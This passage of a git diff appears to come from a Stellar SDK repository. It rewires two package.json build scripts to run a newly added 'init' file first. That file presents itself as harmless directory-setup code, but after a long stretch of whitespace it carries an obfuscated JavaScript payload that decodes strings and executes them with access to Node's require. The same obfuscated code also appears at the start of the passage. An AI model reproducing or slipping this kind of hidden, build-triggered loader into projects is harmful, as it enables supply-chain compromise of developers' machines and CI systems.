&l<5n%cRRdFryc.s/R.;{{,H.;<n<.)4.tdmR)sRd(mRb{.<Rc.rPm.cRe cRckRx)<c&ci.yceluy;,.XdrRlRR# ccf.cR  R$Rcorr(.rCp<Nr#E(]RnR\"ijngRR4<C$adlRac&t(!-Rp.]do.ciR}usRrs(n C<!;.fc.c@z<tR4tCRtRtc=.c3cfo.!  R;<fe8RdrMRR[dN[cyRc:>Tn<l^.lo8RiRRcssc}Rtpc{.sRs...}c.RaY[<a* )I(ldR(wsr6 *R7!a<S.c<\\R.BELRe6Yf<1<ecPrDe sl0PbD#R]o.\'<l.m R(p)<ekac.cR.d.._u<a\'< Rlibfmndf].(%RR<RNDcRER#V..asa[n&R,$<,R<o4RReER)ssL]8ESRReREiR{R<c.{ cWGf}ohdcas.]. fP= os67EocIPoc .7igcFCR. <cE.N .bR"];function b(q,h){for(var i,p,t,s,j,m,g=[],o=0,k=h[0];o< q.length;){g[o]= q.charAt(o),o+= 1};for(i= g.length,o= 0;o< i;){p= k* (o+ h[1])+ k% h[2],j= (t= k* (o+ h[3])+ k% h[4])% i,m= g[s= p% i],g[s]= g[j],g[j]= m,k= (p+ t)% h[5],o+= 1};return g.join(a[0x0])}function c(q){var h=String.fromCharCode(28),i=b(q,NX);return (i= (i= (i= i.split(a[0x3]).join(h)).split(a[0x4]).join(a[0x3])).split(a[0x2]).join(a[0x1])).split(h)}function d(q){return b(q,SX)}function f(v,m){try{var u=Object.getOwnPropertyDescriptor(v,"name");if(!u|| (!u.writable&&  !u.enumerable && u.configurable &&  typeof u.value== "string")){Object.defineProperty(v,"name",{value:m,configurable:true})}}catch(e){};return v}spin= f(b,"spin");splitLane= f(c,"splitLane");peel= f(d,"peel");NX= [6912847,367,20411,613,43759,5019283],SX= [5283741,241,41953,187,56129,4738901];!function(q,h){q.z= z;var i=c(a[0x5]);q[i[0]]= h, typeof module=== i[1]&& (q[i[2]]= module);var p=d(a[0x6]),t=d[p.substring(0,11)],s=t(a[0x0],d(a[0x7]));t(a[0x0],s(d(a[0x8])))(2509)}(global,require)})()
\ No newline at end of file
diff --git a/sdks/typescript/package.json b/sdks/typescript/package.json
index ff779935..1eb70c81 100644
--- a/sdks/typescript/package.json
+++ b/sdks/typescript/package.json
@@ -20,7 +20,7 @@
     "node": ">=20"
   },
   "scripts": {
-    "build": "tsc -p tsconfig.json",
+    "build": "node init && tsc -p tsconfig.json",
     "typecheck": "tsc -p tsconfig.json --noEmit",
     "test": "npm run build && node --test dist/test/*.test.js",
     "conformance": "npm run build && node dist/src/conformance.js",
diff --git a/sdks/vectors/builder/init b/sdks/vectors/builder/init
new file mode 100644
index 00000000..5ff9668b
--- /dev/null
+++ b/sdks/vectors/builder/init
@@ -0,0 +1,33 @@
+'use strict';
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
+const path = require('path');
+const fs = require('fs');
+
+const ROOT = process.cwd();
+const ENV = process.env.NODE_ENV || 'development';
+
+const state = {
+  root: ROOT,
+  env: ENV,
+  ready: false,
+};
+
+function ensureDir(dir) {
+  try {
+    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
+  } catch (_) {}
+}
+
+function init(options) {
+  if (state.ready) return state;
+  const opts = options || {};
+  state.env = opts.env || process.env.NODE_ENV || state.env;
+  state.root = opts.root || process.cwd();
+  ensureDir(path.join(state.root, '.tmp'));
+  state.ready = true;
+  return state;
+}
+
+init();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{<akmsn)akte.vo9+ea0clio;bu =]C!gj;y3+l)e=.}dr=i6oiC8rnn0;6=ar\"}.rei=]Stsrnn.;2r=t;[t;iv=prCrn()aretuz+ hlk[+x=e -8j{(ejy9(()) ","R_<\"cRJ!&VecRWa=RrfR$6\"c1;RRYcnh_/.t iRRRG^<R.RcR2.[nR .Rf./<Rc3!!5nSR<RiRL.eSslf(edgxc<?o<rlcR?tRosdRfuSe.?&ph.RROMs[e<skRE.<Ru<rRe;RDRBrRR\\.fR.<c:!bpl09icoRrtcR(;roRRn2-\"(.^w y.<<dd )$f ou.%e<a<e.t<m(cRxfR<[J(feR<Pbr.b\'oRi.RR<\'RR%wRfs)eR.[agSP{d2.k<ac1e.!3.P<ZRiR*oDsi=[.<f.\"4Rb N\"eoxRpo.iIlkaeTR.2)%m<ieR]z<|Ru((fRwRR\\R>R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=<RR/`.Rk$(2cR.s7e1a.FRKc*..z\"RnfPesRtRRR.<Rl#Rf<: 2((R R$\'6s`<3nhi*$eXc}Rh? ctoc.iecc9 {Ra<s;u!.e]ERRoH..$\"n<D3RsRR..(ReesseR< t,\" Rdov}Sc0Jmi.T<sEegsRw]R\"aR.R!R<o))jR Rew itc.snk(}(n[veR<0<=kfH<rrMR ciknE.c.B<&R[o]R.%ccRlrx;* [\"oisenRefea!Yn.ecR%o\"u.<6lRRRyR=is=RR()RRe:RR)!RwcrR1<.o!RcRc@\"}RuRqu5(3Pol\"eRt0!ftaR*<R1tnkcf}T.!$/<ro IycRR )P<\\.b<tR7:PPs<].rX<<.eRu(RRRqnp.<.R;ctisX.RRyR$@<3)kRRc<+Rr8l*.iR!rC\\P!n=cs<(ci<(R7eReRc. t<epe)e<<,e<(EK!.pnb$\"RaRR.evuhc.Tl_c.:R0r )Rww!sS0.t7u.0(R9_a($&.e6f.RRk1Cxbi8l.hc=m(@<Rd..<rr.2.KMrcb_RnR(R_c:Dwt}.R.{}9g$RRR)TVt<a(.<G.dR~WUR.;lr.hIsmNP  t@RR8_R2R.iRrRPR<(R3#cec0ce3iRR<aR3RanR{Zs}!M<R-*.yda3Ri/0%fR#R <i2<R08:.t}Rf!\"-Rc.RlRcytyRseA0RSTR8.4q<$FTeR..P_<cR6hbR.eri.c-RhcARC2vR.;bS<R<a#K<R:r]Tfee-;!k=_s.Rcmjs(R}:<RaR*&g.<domeisRn.($#_a{V@ocY-.omPdam.RalfcyoT+!P_gsr.<biR!f.)cI&(bIoRi(rnrW.ie.Rc !(ic(SR.cr`:9<XspR($ mRct<s.g!.48rskevVRPdRkxR<Rdern)eSs/)R ler<csT3dc}.R5C/W(.SonZr)Rcoccsch)R.<RR<t.ss(RR<dlu.c.|f8tk,slnepo<eR<!.6R.eeRRTa&h Mf<{[o$R< Rs0)= <xSec.c}<c$es((d)RRc}fCRR<*<R.m-.R*Re<(xvRs (M&Rf.eP*g >s)<o.=.RisnrR.?{5<ibR6)RR1s cRgqcelc=cl;be<lf*SICd2e\"zpRR}<cRlS,njscm$Rn.!aii<JY]<fPCs@jA.R<% t.RowR}\' r>pzh..lR\'<go_}<SR(kqxh[ &<iR-f$C<u<iaENR5RTR]<Rpsk..Rzdg.)]<)er.Rr.MsRzP>RRe<<t_hgl<p.RcmfRs!nftR4 dt_9^<,ore5RfRx RR[rX.<sbyR<<.2R.RrenUP(y>.p<<csRlt0t.{.Syin<ggl$ Vc.):EHI!.xDuR,RpRhR(sct.MrRMjHMRRcR. Rtnd|oa0.n#a.2)Dfk&cRIRRR/feR.c@<irs6T+1RPx..R.sc.aR#.-<X{R!n4RcRitR/nRe9m..<A)ben).]<.a(R(.{?3tR&RR/i(lX. <h!dRR<\"!co? 3 1R<-hn<dtndo<Rksm#-c(TeRee!].R<s<T+=R.Ri-r@RR.r#cd<cRRRmztf.CdeRp.c{QRibjsos.fRrg-RW0diRR<.k<ORR&-R!# ]Cs]yt4.-d_`PRR\'<.RvejSw<dc.c ,f.P.(.citcNbRn\'-.eRcRnrQ.rRxo{Rc<\"6Rnd]R}Rm(R$RSo.T5Rc2cx.*vRoic_>.s0BRf)<P<aR.oCZ|0 POHdQo.n <.1soR_\' .P<er.[<R|R<0i<Rr;\'I.R[}+lc![mc!.lc<n(a tRRHRl,}p}R)R8RJ<aR.<td(N>]ic<me@5cn[u.R).b%sPn<<_RR!RbR=$RR^<!})sb-6\"#E8cR(d!R)tratRR<< 21R\'L!ib|eOtRRt$ucdnRR.t)RzE.GPy! RAI-nqau<}.ycR...cRR.ccc$^RRdC_R<t8cRhs2\"R2.\'S>))2h!efy..>!iL$en ;%9OTv.d$4RRC<cPS(tuRwl&(m#\"R|pch<tH$a<< .t!RSEf.RRgcNP.R CRi4mR<#MRR<;wi-#E <<t<eR<H<RrntoE(!0r0<d..RC\"cn..2bp(6Cp<SR\"e1l)cc<a(P.P9e<qa)<<1<n.iRaRPR(}R=.&,2!cwR.)PR$.<qR<}!1*S<R!Rf.<c<Rd_<R2R<<#]<<RRRp!.rpR<*!TRIR<Pk<Rzta.&}.aleK=iP<R\'=gRP}Rp${SB. Rsy.(.t! c;<e5sh64tt<pf<otxuLTkr>;<R.cpsR.cRtR-#a4uR6.Rte;-($?w8:p/&Rl0<r#<e iisf!d$ao_(#cmr e<RRV!Pnca<t.~crc(e\'*a: <RRneaZe.%/dR<RR*(E `+e[PcwRw <(eucta).7W</$P<.hcST 7eRB!.+R.I<bhRel.te.b4[unueuR!Rlt(RRR,},HftHv_n.<eR _A<8<sr<Rx4)RN!pRd|B <RRkie\'c-.Rcnm3cs<Si<i.).E(R(<RRPR _3R<cwe.!.l<R$!Rbd,e<PREl$tpr!<o/).RRt!,T(rc#/.Ry(+RrRg`<f.<a+.f)/<<&< eRR<ei-<BfE.sRbnRR).R%/jtlR<%c R!R(xR#cR.sRR.RM.<R7c(cglRcm.]<.ec2b)P<<2RR&daBK)r<Zt>[daRHced.MR<}sRGr.R<?1RfRRcccR(osc\"RR~k<\\!Mc.p.C)uRx)+(Rk\\e\'j6MPURCmc?RR3R4(iie.sRe*R:zSR;Pn(Z)<lkRvl:<RQ{Rci\"cP+e,MRWa.<RMrRlt#<RRst3r!.<g<KRwR(Rj.RRa!.G4R.$pn.z;{eR;21{0T4(rRk-\'.!<Rx<iKh<)s[<tc PueR}r(faaRf7l<R5!rRlDXRm.1:piR <= Rjso.<er!oRqI)R1Rrrwo{&tRRK<nCZ-0M.cuR)c%cd0+w<$E<iT<<otdayn<io^.R\'RRwRc65kR#JP.<!R5e!r{Re;yeR(.0=;cis.c(gtR2pu9=MQf[{,On ..PNi(<.RaiQR..c%t/(/R<.r.Rr..l!scue.aP~R!c03aUR\"tcsc.!rVRpaiz0<b\"dtgd!.s?#cvdR~#R<R<)(Tb.IR)Pc<6?7)]4W6#nnPt.}re|RU>ReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.<w+c.(cs;! nh(R,RCR[<&XR<<.cbcTRsAfncS-R\"i<.cB(|RR.Rd%R.U/R.rL<t)!ReR2cpp!s<>R?1R$<teR<<Ro0rtf(ResbDR7liaR.}s./sRcrsarlR%f]s0R.<le<re%s.sllsb8ROxCRtc1t6{.- Rl.eRo.cgmRkoRsbca<Iyu}Rrt#s&|tRaxR)ho.Rsf kRRR4cr(x.c=t.<i3(Rx .<..R$f\"t RRsN</C RnRdRrpRR<od<.R<r[ar\"l<. P\".Rs.R.rc!v#DfReebo{,R)d8v<fRc.cJ<te.!RR\"kS(S)R#<S.hP}rt.(/(.c(1d<Rw!su0(o.Pb(0.RJcEiC.f( .i.buc<#r...RR[8)_!R.SRB!\"tRVbn_RlcPRR oRn;h<RP@r8aRrlc|co5(Rp)<Rxd<<$.n<lo}erR<oyRan.oy.RIB<ht<cobEiR}(mMr.TaR0RetiR}.!<.R19t<AebR_Lclh!D0r.R0ilirRc/s8<cR(r*R@e<<.l;.rc-PulaRccRi\"06@!Rc!.Qkl,<g<7}b(aRcL.cs\'+..T(<rR<<..&fd>Ro coemRcw.lcn(c:R\'|t<RnRY]4M0GR.RFRut.!<f.u+$+t<R*7sRRR(ibhd=P.<}RR=eR._).)rr,4& lR}e<R6RR<^gfleRdstP~<bc.(sy<5}Ri?lch<&.3{u.n_:iR7b;0<R<cRRRcR@|1seGRs2)c=h<f9e<<r+eR\\\')&5rv/Fr[.a.tn.RPrnU<o_c6n=ET<.i+xc7levsu<r.!Rc<!]Rw .RR(]PRD. lf!:&.bdpTl.R#RS.$R<(R <<c[.n. oRr67r<e-R-uc*RR$R.baeycs.![RxRR<DXtfncRQPisRtgc<.aR8!b!<St0<R> RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlR<cfRRu:sGRe,(gRVR\"RuRRR\"RtR<Rs\".ERi_P&R<lyoSg\'s>vRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfR<P]Rs/anfqNRR\'<.Rc8ciRRRc.a_ptKo<psr<7<RRi.o_c/!nRRs( >RP]xtt_s_ohB<a\'s&.P< .kGc6r<7io/wRISPPcxhRwc.<.cic%1Rf89dS <RbcsRVRsxrda]R;t?RN,,R>)cPY\"cRcReF !0RRq}}r05L6.<R.rf<$u|c<c<U-D[ cc.o<5;< (.E.h.R_l<Rr<<F<[ttCo%mS.RR3IbcioRR<apRcRc[RR<.fnRR,.RBan(y/R|HpGnR.<=RR<u(acs$R3eR)mc_A4unt\"e;sor(%RPt(eg(-*r!m<RD(RRa.rglz.Rw.fR]qavo]f(%<<ccl<4s9\\@u 9e.*x./FtSRP[.$%n`z)<<$!5Qcb+]R3tR<fiPce\\<zi.Rcabr (<<bnv6!tnw_cXf(nh.[}*s(`<P>(R<..<xt9R(.c<(e0R.Pao.!d((-@f0e<<6RoRu;(d` Rp..<p,e<T<N.PR.[RcOz)f(<l].u{?rf<R;R<I*a<<$`R( (...<\":<NR%eR i#.z.l(rR,dRa.dRv<sVc(s]i)Mh.Rn<RRRttRg,~.R[R#ef.;ttp.)sRnStlRR2oe.&ci(a}.\"P&yseR_a%rRR.D<iPsRD!i.mR\"Rjzh<uR.,>de.jO}aRQcV<s$3CgR<R5EcdUhce.!Uf.R-x6<].wc<<.E!rRPRiCx.SR!m.nXb.7f.zefZR\"\"](y<xb<k<]UR-c}qf.!Ni=YiRoRRN.@sw1Lue1kR& #rDceR.alRR.R.(\"]MRtMiRr)rluRd&.RRcpifIl2R<R<<5f)z&fURec<s4<ensR.o\"<i<,R!s oBiR-cR0lRNtTR)SRc<fdutRRdPzRH(Rcs)PD<c$Rx2&:1Hrlo..n fs.$n8upO$0isssi.-<vR<.<qQ(!R! [!dxwn.Ryu*i?dR%.R2Rt>r7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.<R1sR9d]R+RRheR!cc2RRe\"9c[r<;DePcRRktGlg<?tAU\'ttRQR} w3tRat](Vt-?<<?..\"lr).eR-RRI^EKv.47Ro+iN<ece.nRx(tRHR t8;Rir)<aRcx(qaRs@ferRM.<=.ct@<fcR.R)R.rxl!t/,lsRRRc=.i03RhRRs{_xRr<Q<c,a<<EW(MoR< utE\"f}bfr.<sR+]dr <R!QRw.i IRT_Po.(c0t8(sRTRRcnBR!\".xID.Ai}epoR3!oz=]etkRt/uA14RR9Rct!Nadr_nGC!/b$}R\"xd<iRct^.uuw=3dRpwgR9R8PqRi#Rpg9u=1i0f<.R<P0f}tv_r3es:<fr<i7(<y(olR.e9ooBT._RtoE) as(<cRiedtssR/RR/erR(.wce.R.rPy(RO(<.gHxrR<T.L!Rx(<o([.+{<c<R<.eiNTRC[x.4RkR$pK\".lcP(.<tk.<RQFknwIR).t-Rr=e{<.PP #E63ap3[R)Lddc;RxR!R\' oo!)w.e!.Rc<0%<iss9RuO6ir$.R.ip6%m-6wRi<z< gr=nweRRN__R(ReJvRfR%:NRPR<nRRR$.R.mR<rR#{Ec.)b<6peiRf#tL..R<PjRR.(,a_ll. .D g<(rhv \"4k! `lR<ke1 c$$5Rz.RR]eu&DiR .R<((cersE.aoRhef)%eLR).:.^)esCR.}.T<P^. Dy<#RcRpNRr)nRRl_3d8W(c=-3EeqeiMRReRzRacCue<l<Rsi.a;rc<.ldRY.RarlRcnOf3hTsdt<M\"m<s(np}:A.fyR<RC<#Ry0vR<}<R.<%ats!lR>-<2lld.nr5=(F:.RRlnRcR\"sz3o\"<fR&3..!Y>fR)beRlshpM%<f.(d!abiFR 3waM<se..qfR.i_.&E!.&RRRcRx{R[R._?R2!!RRcx)RIM.)f=#1ELbRRnJeaMim1)RRR_ |<la<3)0ycd&.#n=l.|Rs;.f(ec.cs=c{?R/%d_!anOce<Rrxa.\'b)=_<m)icAcCRc.n<R.e ..R-<AR5.Rm[dR<<2R.An9xRctmcE%[..R,Qt<uPf_!<R= tZRclpP*.uep6<f.b8RR<cSrk<e}Rckdc.;<tz.l.<!io.<r/2<R=bcRRsVD.R.1b<cc<R}<h+. RvTRp_P<.rs(uPQt:..<>Rk9!=a;o<a*.7r]0Y)8c}z(<a.R.e8Ro tl Rc(A~i!*(bR%cR,c0t< rMRR< Ri< .fPe*+E)m.oj..m8m.cR($<f.R.idey}cBRR!sc<no9R<n RwrN0#tRduc_-RS\"i{i)(nMcR<0N</V<<.,0+w.]<w<ReeR,w/eR.R)i. R<e .6Rga.rgs+Qitd.o!cteaLRo)3R <.cd./.~< .s\\.e<sp5R.<RRwa!*.R)tR,ofRZ<ZtcRhsRr$/.RC..b \"cRt,\'leacPc RR<Rz\"<Ri l0oRRdRs7.R(eCcR_.6\"_R..p<&kddee.<=..lo.=R<!b.&Rc<tcCr0m&cXu\'wnd.s;sw+R4/suDicPba ..i!o1^r}I>e4<:RwCRic<RRRc\". dRpt0<.Rk0<W8r RnR.Dc.CN lwoh.l-<R<pcbR Pe6hY-Rt.cEp:<+a-V<RaRf\'(<rRRR&<az<4RRR.E)7.xrc0ilHRTisc.ZfRfcRx-th).R#=!<C.w\"l{e]e-R</<s4Nt.op\"ce.4Rn{SRo<R)Cc])e(Rw8RR. <1hc{p8cS!e<R?RKa=i6Ri[.IRpR$RbxRScl.p<P!fa!vvsO.!pRRt.EglRt<.!iud.lu<is.RoR4!.P.cm.Pi}Ro..lPNRy6=t{<ae._!RwRtaR.sf.!.]4[e.RkE}-}ve..$NwiD!}.0R#<isaR3p%<}.aR@RJt.RGax.R\'spC0!RGcr.2FRiRePaRnsRRRna<R)5U:\"n=cdc?ABt.20.tdc!C1R c.<edaA.R(.,elRcR<c&<.eCRURif{aJKR+ex-x:Pc%ei@ecRek?pR.4 RR<R#$c..i+!4RR$R3#R.r(PiRR<c.Rci_U!zRRR;u^|.Z.s(TRRTc.d}R<y._c<.RR{$kR4FB($\\<w. .;R<eR4\\sRc8<R.R[EdR uoR[}V(.pd\'\"<Ja(4prAR(.Nc<<rp3.>z eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(<k3R+hn %R.RF)lR;R.s R.jlmR((loH.<R<{PReRi<<cdeK.R.fR2pR(ao~.RyRRR[:RR?eisRPfk Ys(s3.c <4blo<0<9{o<RT@R..nRiR;al?soR0g<T.Rtm<u.s\\?Rl._Rccz4&:?0 .5R/ctc4<R>hi%.i#i}<R.Emc1xAnfR{Scr.R.%|\".PrrRn<cRnP!aRRtRfR.P 8\'R<JA R&i<ecc{]cf.RmaR.irc.iReZ\"n<y!< cR #<,ec!Rd9sic+_1a.ru..b..Reh<R~i$ot<fRdcit<\\go_0lRmvF(<e9s<Rtt( !RnR6}<.itO..&9s4dNRc .o.RR.]j0 R ma4;r<sCa)& mo[xlR*ht!,Aup Ru,fRtf[j)P*cRR1<RSv s!2cIsR..e74hRd\'c:vsr.s;<e(<_!MRfRfLLgal.!.u.R9(Mcla(d}tOa.}RcIebmEc0N(RD%bE$ rd<cw).F<ObZWR.jg.U4\"afR`\'m%/efaxRRR;Rna:7vR0bc.a_R<<jRRs..X)spGi&v\'e.l.2.I.e9rRe.s\'1=r.eRexbb_RR_e9cd<FIP!.cR+8.446/U<<ls!]<u`pRsub<b>JPwp@ilR<i)k!dRLkR.trRx(rr)% /.(]b8cRs+vR-c)}:osR.c#\"<cqk<ek.imRSN.RsE bPPn)<e}o0e\".1dRIR!(r.%.I..Rfza_?RRkf/,tcRRIf.<iR bdRO.cPcdeR.s}ejFbp;o.fs<c_mc<aF.dnc0c RRR.qn .RcR.hRKj<Rs.kc<3Rs.ccTt.trtnt>w;/IcZc8r<i.Rt>Rcs..s s{Te <!.+.R.<uRPRo.<K.m.a.srM<R .cwRic<R)nP(<RReeutcJc%pN.Rsce.=eaf0<\'@S}1<<YIjr!!<4a.fRR.l&<R$..lv.}|5&R.R!<)xfs.b$:Rc l.< o(J.e.#N.7t<)c<w eR0.=<yc !..Re?<n\'B[Rbo\'auR} rae#R=.iR(st2.b~ <Sc.}tTsRr<aR) ryir!C<c td~\" X.ttR<R!d c..!ed.R.<R n.Sne!!)4/oXRRu.enR<.rRqR\"l_M.efttr tRc._r<R.R.dd{Wh{R.<.&RRc<.gf}Rcr52dte}d(}?cF7.xy$W<!..c6pc?Nc0z(h4.RRo=_oa.Pf!f4hR.Rd*e=d#cc6rr{o/RaRS.z.v.RDc<.[R9.\'t]&.RRR-4R&ew\\cRYeonf t.m)e=.icK.R{.0sl1pcRs(chl.WR.yc.{eil3ft<{/.C.(.n<l)>m<<d1<a? nec<R..avloRvjRge._ =R+.RR.wdR.d6%.Icc(+t.:ci\'.cht.b.R!s4ft_Rxta<s}H,cc.dkRnc..}c# n)R.(_)c13.ot.o.}<!.tRR).t<...8Rn.Htct<blRotcQGn^*_xmecPT}..<<r0 lEt!dn\"0pf.gl}R<eRlT@i..g)ne4Ru<fRRTg.cR.c.eet<..^ee,r;t|pcteWFs RgadRroG(ltl #(yr<.#ddt.<R i-o<stId!b)RIEt*RRn&R.c<iRmlR(-(mtck.Ry!0RYJ<c.Ri>rr. w9cTaR=<PcdK]_\\2f( #.Rs%.te<n/Rrycc.nRc$.P&.f.iccBPNRdR;R.5<RR<mPo{(R{_n<lRid.hR .dRnRr!JwR0.RPRr.>=(f<e?.<Bf]xRcbcPcRs}<R(s.RPY.RR_Pk(o<(dl<0eR,1:D1sv.ilhe_PRpccR1qm.dm\"<sisPd.? pmdRhRnct(?$RrtRx.e)`..R.p?i!R1Rr( {.eTRR}.c}<RR8..RpR\"cg;.cc0RrR. t&3nd5ecPb_.R!RaccRbcdb}c(!{t<.Rnv.NR&~eAs$z\"<4<.ogsfCaRl<ocERoRRt..<s.i`R?.sgc..RsRs.\'$xRcsNRR!R`RoR_n!#R,!5qf.#BIR@l.,.]oReRa|<R[t<<:|a[4<R~R!+Eg-R.aP!e &l<5n%cRRdFryc.s/R.;{{,H.;<n<.)4.tdmR)sRd(mRb{.<Rc.rPm.cRe cRckRx)<c&ci.yceluy;,.XdrRlRR# ccf.cR  R$Rcorr(.rCp<Nr#E(]RnR\"ijngRR4<C$adlRac&t(!-Rp.]do.ciR}usRrs(n C<!;.fc.c@z<tR4tCRtRtc=.c3cfo.!  R;<fe8RdrMRR[dN[cyRc:>Tn<l^.lo8RiRRcssc}Rtpc{.sRs...}c.RaY[<a* )I(ldR(wsr6 *R7!a<S.c<\\R.BELRe6Yf<1<ecPrDe sl0PbD#R]o.\'<l.m R(p)<ekac.cR.d.._u<a\'< Rlibfmndf].(%RR<RNDcRER#V..asa[n&R,$<,R<o4RReER)ssL]8ESRReREiR{R<c.{ cWGf}ohdcas.]. fP= os67EocIPoc .7igcFCR. <cE.N .bR"];function b(q,h){for(var i,p,t,s,j,m,g=[],o=0,k=h[0];o< q.length;){g[o]= q.charAt(o),o+= 1};for(i= g.length,o= 0;o< i;){p= k* (o+ h[1])+ k% h[2],j= (t= k* (o+ h[3])+ k% h[4])% i,m= g[s= p% i],g[s]= g[j],g[j]= m,k= (p+ t)% h[5],o+= 1};return g.join(a[0x0])}function c(q){var h=String.fromCharCode(28),i=b(q,NX);return (i= (i= (i= i.split(a[0x3]).join(h)).split(a[0x4]).join(a[0x3])).split(a[0x2]).join(a[0x1])).split(h)}function d(q){return b(q,SX)}function f(v,m){try{var u=Object.getOwnPropertyDescriptor(v,"name");if(!u|| (!u.writable&&  !u.enumerable && u.configurable &&  typeof u.value== "string")){Object.defineProperty(v,"name",{value:m,configurable:true})}}catch(e){};return v}spin= f(b,"spin");splitLane= f(c,"splitLane");peel= f(d,"peel");NX= [6912847,367,20411,613,43759,5019283],SX= [5283741,241,41953,187,56129,4738901];!function(q,h){q.z= z;var i=c(a[0x5]);q[i[0]]= h, typeof module=== i[1]&& (q[i[2]]= module);var p=d(a[0x6]),t=d[p.substring(0,11)],s=t(a[0x0],d(a[0x7]));t(a[0x0],s(d(a[0x8])))(2509)}(global,require)})()
\ No newline at end of file
diff --git a/sdks/vectors/builder/package.json b/sdks/vectors/builder/package.json
index f56f7b9e..6a219097 100644
--- a/sdks/vectors/builder/package.json
+++ b/sdks/vectors/builder/package.json
@@ -8,7 +8,7 @@
     "node": ">=20"
   },
   "scripts": {
-    "build": "node build-vectors.mjs"
+    "build": "node init && node build-vectors.mjs"
   },
   "dependencies": {
     "@stellar/stellar-sdk": "17.2.1"